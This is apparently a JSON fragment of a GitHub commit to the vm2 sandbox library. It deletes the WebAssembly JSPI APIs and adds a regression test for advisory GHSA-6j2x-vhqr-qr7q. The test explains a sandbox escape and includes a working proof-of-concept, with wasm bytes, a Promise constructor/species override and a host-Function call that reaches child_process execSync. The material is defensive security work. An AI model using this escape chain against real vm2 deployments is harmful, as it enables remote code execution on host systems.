`WebAssembly.JSTag` removal (GHSA-9qj6-qjgg-37qq) in spirit.\n+ */\n+if (typeof WebAssembly !== 'undefined') {\n+\t// SECURITY (GHSA-6j2x-vhqr-qr7q): WebAssembly.promising returns Promises with\n+\t// host-realm Promise.prototype in their [[Prototype]] chain. No sandbox-side\n+\t// override and no bridge proxy can intercept method dispatch on such objects.\n+\tif (typeof WebAssembly.promising !== 'undefined') {\n+\t\tlocalReflectDeleteProperty(WebAssembly, 'promising');\n+\t}\n+\t// SECURITY (GHSA-6j2x-vhqr-qr7q): WebAssembly.Suspending is required to satisfy\n+\t// the suspending-import slot in any JSPI module. Removing it alone closes the\n+\t// instantiation half of the chain; removing `.promising` closes the export half.\n+\tif (typeof WebAssembly.Suspending !== 'undefined') {\n+\t\tlocalReflectDeleteProperty(WebAssembly, 'Suspending');\n+\t}\n+}\n+\n if (\n \t!localReflectDefineProperty(global, 'VMError', {\n \t\t__proto__: null,"},{"sha":"17280b4eba217f81ca3ac72dd3f0939da95b4630","filename":"test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js","status":"added","additions":212,"deletions":0,"changes":212,"blob_url":"https://github.com/patriksimek/vm2/blob/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/test%2Fghsa%2FGHSA-6j2x-vhqr-qr7q%2Frepro.js","raw_url":"https://github.com/patriksimek/vm2/raw/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6/test%2Fghsa%2FGHSA-6j2x-vhqr-qr7q%2Frepro.js","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/test%2Fghsa%2FGHSA-6j2x-vhqr-qr7q%2Frepro.js?ref=6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6","patch":"@@ -0,0 +1,212 @@\n+/**\n+ * GHSA-6j2x-vhqr-qr7q — vm2 sandbox escape via WebAssembly JSPI species bypass\n+ *\n+ * ## Vulnerability\n+ *\n+ * The WebAssembly JavaScript Promise Integration (JSPI) API — `WebAssembly.promising`\n+ * and `WebAssembly.Suspending`, available behind `--experimental-wasm-jspi` on\n+ * Node 24 and enabled by default on Node 26+ — returns Promise-shaped objects whose\n+ * `[[Prototype]]` chain points DIRECTLY at the host realm's `Promise.prototype`\n+ * without going through any bridge proxy.\n+ *\n+ * Sandbox property access on such a promise resolves `p.then` / `p.catch` /\n+ * `p.finally` to the host-realm native methods via the cross-realm prototype walk,\n+ * completely bypassing:\n+ *   1. the sandbox-side `globalPromise.prototype.then|catch` overrides (the JSPI\n+ *      promise's prototype is NOT `globalPromise.prototype`, so the override is\n+ *      never reached),\n+ *   2. `resetPromiseSpecies` (only invoked from those overrides),\n+ *   3. the bridge `apply`-trap callback wrapping for host Promise methods (which\n+ *      only fires for bridge-proxied host promises — JSPI promises aren't\n+ *      proxied at all).\n+ *\n+ * The canonical attack chain on Node 26:\n+ *\n+ * ```js\n+ * const p = WebAssembly.promising(wasmFn)();      // sandbox-realm, cross-realm proto\n+ * Object.defineProperty(p, 'constructor', { get(){ return F; }});  // hits raw p\n+ * p.finally(() => {});                            // V8's host-realm finally runs\n+ * ```\n+ *\n+ * V8's host-realm `Promise.prototype.finally` reads `p.constructor` →\n+ * attacker's sandbox class `F` → builds a result capability whose `[[Reject]]`\n+ * is the raw sandbox closure F supplied. When the JSPI promise rejects with\n+ * a host-realm `TypeError` (e.g. from `WebAssembly.compileStreaming(0)`),\n+ * V8 calls that closure directly with the raw host error. Inside F's reject:\n+ *\n+ * ```js\n+ * e.constructor.constructor('return process')();  // host Function — RCE\n+ * ```\n+ *\n+ * `Function.[[Realm]]` is host, so the constructed function evaluates in the\n+ * host realm and `process` resolves.\n+ *\n+ * ## Fix\n+ *\n+ * Remove `WebAssembly.promising` and `WebAssembly.Suspending` from the\n+ * sandbox global at bootstrap, mirroring the existing `WebAssembly.JSTag`\n+ * deletion (GHSA-9qj6-qjgg-37qq). Without `Suspending`, a wasm module cannot\n+ * import a JS function as a suspending import; without `promising`, sandbox\n+ * cannot promote a wasm function into a JSPI export. JSPI is the only known\n+ * primitive that produces a sandbox-visible Promise whose prototype crosses\n+ * realms without bridge interposition.\n+ *\n+ * ## Defense invariant restored\n+ *\n+ * Every Promise object reachable from sandbox code is either (a) sandbox-\n+ * realm with `globalPromise.prototype` in its `[[Prototype]]` chain (so the\n+ * vm2 overrides apply), or (b) a bridge proxy of a host-realm Promise (so\n+ * the bridge `apply`-trap interception applies). JSPI broke this dichotomy\n+ * by producing a third class — sandbox-realm with a HOST `Promise.prototype`\n+ * — that neither defense layer can intercept.\n+ */\n+\n+'use strict';\n+\n+const assert = require('assert');\n+const fs = require('fs');\n+const path = require('path');\n+const { VM } = require('../../../lib/main.js');\n+\n+// JSPI was introduced behind `--experimental-wasm-jspi` in Node 24 and is\n+// enabled by default on Node 26+. Older Nodes don't expose the constructors\n+// at all, so the attack surface doesn't exist there.\n+const HAS_JSPI = typeof WebAssembly !== 'undefined'\n+\t&& typeof WebAssembly.promising === 'function'\n+\t&& typeof WebAssembly.Suspending === 'function';\n+\n+if (typeof it.cond !== 'function') {\n+\tit.cond = function (name, cond, fn) {\n+\t\treturn cond ? it(name, fn) : it.skip(name, fn);\n+\t};\n+}\n+\n+describe('GHSA-6j2x-vhqr-qr7q — WebAssembly JSPI sandbox escape', function () {\n+\t// Bump the timeout — the canonical PoC needs a wasm instantiate round-trip\n+\t// plus a microtask drain before the rejection lands.\n+\tthis.timeout(5000);\n+\n+\tit.cond('removes WebAssembly.promising from the sandbox global', HAS_JSPI, function () {\n+\t\tconst r = new VM().run(`typeof WebAssembly.promising`);\n+\t\tassert.strictEqual(r, 'undefined', 'WebAssembly.promising must be unreachable from sandbox');\n+\t});\n+\n+\tit.cond('removes WebAssembly.Suspending from the sandbox global', HAS_JSPI, function () {\n+\t\tconst r = new VM().run(`typeof WebAssembly.Suspending`);\n+\t\tassert.strictEqual(r, 'undefined', 'WebAssembly.Suspending must be unreachable from sandbox');\n+\t});\n+\n+\tit.cond('canonical PoC: no host filesystem side-effect', HAS_JSPI, function () {\n+\t\treturn new Promise(function (resolve, reject) {\n+\t\t\tconst sentinel = path.resolve(__dirname, 'pwned-canonical');\n+\t\t\ttry { fs.unlinkSync(sentinel); } catch (e) { /* not present */ }\n+\n+\t\t\tconst vm = new VM();\n+\t\t\tlet inner;\n+\t\t\ttry {\n+\t\t\t\tinner = vm.run(`\n+\t\t\t\t\t(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);\n+\t\t\t\t\ttry {\n+\t\t\t\t\t\tWebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{\n+\t\t\t\t\t\t\tlet p=WebAssembly.promising(r.instance.exports.run)();\n+\t\t\t\t\t\t\tclass F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{\n+\t\t\t\t\t\t\t\ttry {\n+\t\t\t\t\t\t\t\t\tlet P=e.constructor.constructor('return process')();\n+\t\t\t\t\t\t\t\t\tP.mainModule.require('child_process').execSync('touch ${sentinel}');\n+\t\t\t\t\t\t\t\t\tglobalThis.__outcome='ESCAPED pid=' + (P && P.pid);\n+\t\t\t\t\t\t\t\t} catch (err) { globalThis.__outcome='blocked-inner:' + err.message; }\n+\t\t\t\t\t\t\t\tthis.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}\n+\t\t\t\t\t\t\tObject.defineProperty(F,Symbol.species,{get(){return F}});\n+\t\t\t\t\t\t\tObject.defineProperty(p,'constructor',{configurable:true,get(){return F}});\n+\t\t\t\t\t\t\tp.finally(()=>{});\n+\t\t\t\t\t\t}, err => { globalThis.__outcome='outer-reject:' + (err && err.message); });\n+\t\t\t\t\t\tglobalThis.__outcome='setup-ok';\n+\t\t\t\t\t} catch (e) {\n+\t\t\t\t\t\tglobalThis.__outcome='blocked-setup:' + e.message;\n+\t\t\t\t\t}\n+\t\t\t\t\treturn globalThis.__outcome;})()\n+\t\t\t\t`);\n+\t\t\t} catch (e) {\n+\t\t\t\tinner = 'vm.run-threw:' + e.message;\n+\t\t\t}\n+\n+\t\t\t// Wait for any microtasks / wasm instantiation to settle, then assert.\n+\t\t\tsetTimeout(function () {\n+\t\t\t\ttry {\n+\t\t\t\t\tlet outcome;\n+\t\t\t\t\ttry { outcome = vm.run('globalThis.__outcome'); }\n+\t\t\t\t\tcatch (e) { outcome = '(read-failed:' + e.message + ')'; }\n+\t\t\t\t\tconst escaped = fs.existsSync(sentinel);\n+\t\t\t\t\tif (escaped) {\n+\t\t\t\t\t\ttry { fs.unlinkSync(sentinel); } catch (e) { /* ignore */ }\n+\t\t\t\t\t}\n+\t\t\t\t\tassert.strictEqual(escaped, false, 'host filesystem side-effect must not occur; inner=' + inner + ' outcome=' + outcome);\n+\t\t\t\t\t// And the setup must have been blocked at the deleted-API boundary.\n+\t\t\t\t\tassert.ok(\n+\t\t\t\t\t\tString(inner).indexOf('blocked-setup:') === 0\n+\t\t\t\t\t\t\t|| String(outcome).indexOf('blocked-setup:') === 0\n+\t\t\t\t\t\t\t|| String(inner).indexOf('vm.run-threw:') === 0,\n+\t\t\t\t\t\t'expected setup to fail at the deleted JSPI API; inner=' + inner + ' outcome=' + outcome,\n+\t\t\t\t\t);\n+\t\t\t\t\tresolve();\n+\t\t\t\t} catch (e) {\n+\t\t\t\t\treject(e);\n+\t\t\t\t}\n+\t\t\t}, 1500);\n+\t\t});\n+\t});\n+\n+\tit.cond('variant: WebAssembly.promising alone is also gone (defense in depth)', HAS_JSPI, function () {\n+\t\t// Even without Suspending, a wasm function promoted to JSPI via\n+\t\t// `promising` can produce a sandbox-visible cross-realm-prototype\n+\t\t// promise. Asserting the broader deletion catches a refactor that\n+\t\t// might keep one of the two by mistake.\n+\t\tconst r = new VM().run(`\n+\t\t\ttypeof WebAssembly.promising + ',' + typeof WebAssembly.Suspending\n+\t\t`);\n+\t\tassert.strictEqual(r, 'undefined,undefined');\n+\t});\n+\n+\tit.cond(\n+\t\t'variant: wasm module that imports a Suspending function cannot be instantiated',\n+\t\tHAS_JSPI,\n+\t\tfunction () {\n+\t\t\t// The canonical PoC's wasm module imports `f` (a Suspending). Even\n+\t\t\t// if an attacker pre-compiles such a module elsewhere and tries to\n+\t\t\t// instantiate it in-sandbox, `new WebAssembly.Suspending(...)` is\n+\t\t\t// the only way to satisfy that import — and it's gone.\n+\t\t\tconst r = new VM().run(`\n+\t\t\t\ttry {\n+\t\t\t\t\tnew WebAssembly.Suspending(() => {});\n+\t\t\t\t\t'UNEXPECTED: Suspending still constructable';\n+\t\t\t\t} catch (e) {\n+\t\t\t\t\t'blocked:' + (e && e.message);\n+\t\t\t\t}\n+\t\t\t`);\n+\t\t\tassert.ok(/^blocked:/.test(r), 'expected Suspending to be unconstructable, got: ' + r);\n+\t\t},\n+\t);\n+\n+\tit.cond('regression: vanilla WebAssembly.instantiate still works (no over-broad deletion)', HAS_JSPI, function () {\n+\t\t// Module: (module (func (export \"f\") (result i32) i32.const 42))\n+\t\tconst r = new VM().run(`\n+\t\t\tconst bytes = new Uint8Array([\n+\t\t\t\t0,97,115,109,1,0,0,0,1,5,1,96,0,1,127,3,2,1,0,7,5,1,1,102,0,0,10,6,1,4,0,65,42,11\n+\t\t\t]);\n+\t\t\t(async () => {\n+\t\t\t\tconst { instance } = await WebAssembly.instantiate(bytes);\n+\t\t\t\treturn instance.exports.f();\n+\t\t\t})();\n+\t\t`);\n+\t\t// r is a sandbox-realm Promise. Resolve it with a then handler to\n+\t\t// extract the value into a host-side capture for assertion.\n+\t\treturn new Promise((resolve, reject) => {\n+\t\t\tr.then((value) => {\n+\t\t\t\ttry {\n+\t\t\t\t\tassert.strictEqual(value, 42, 'wasm function f() should return 42');\n+\t\t\t\t\tresolve();\n+\t\t\t\t} catch (e) { reject(e); }\n+\t\t\t}, reject);\n+\t\t});\n+\t});\n+});"}]}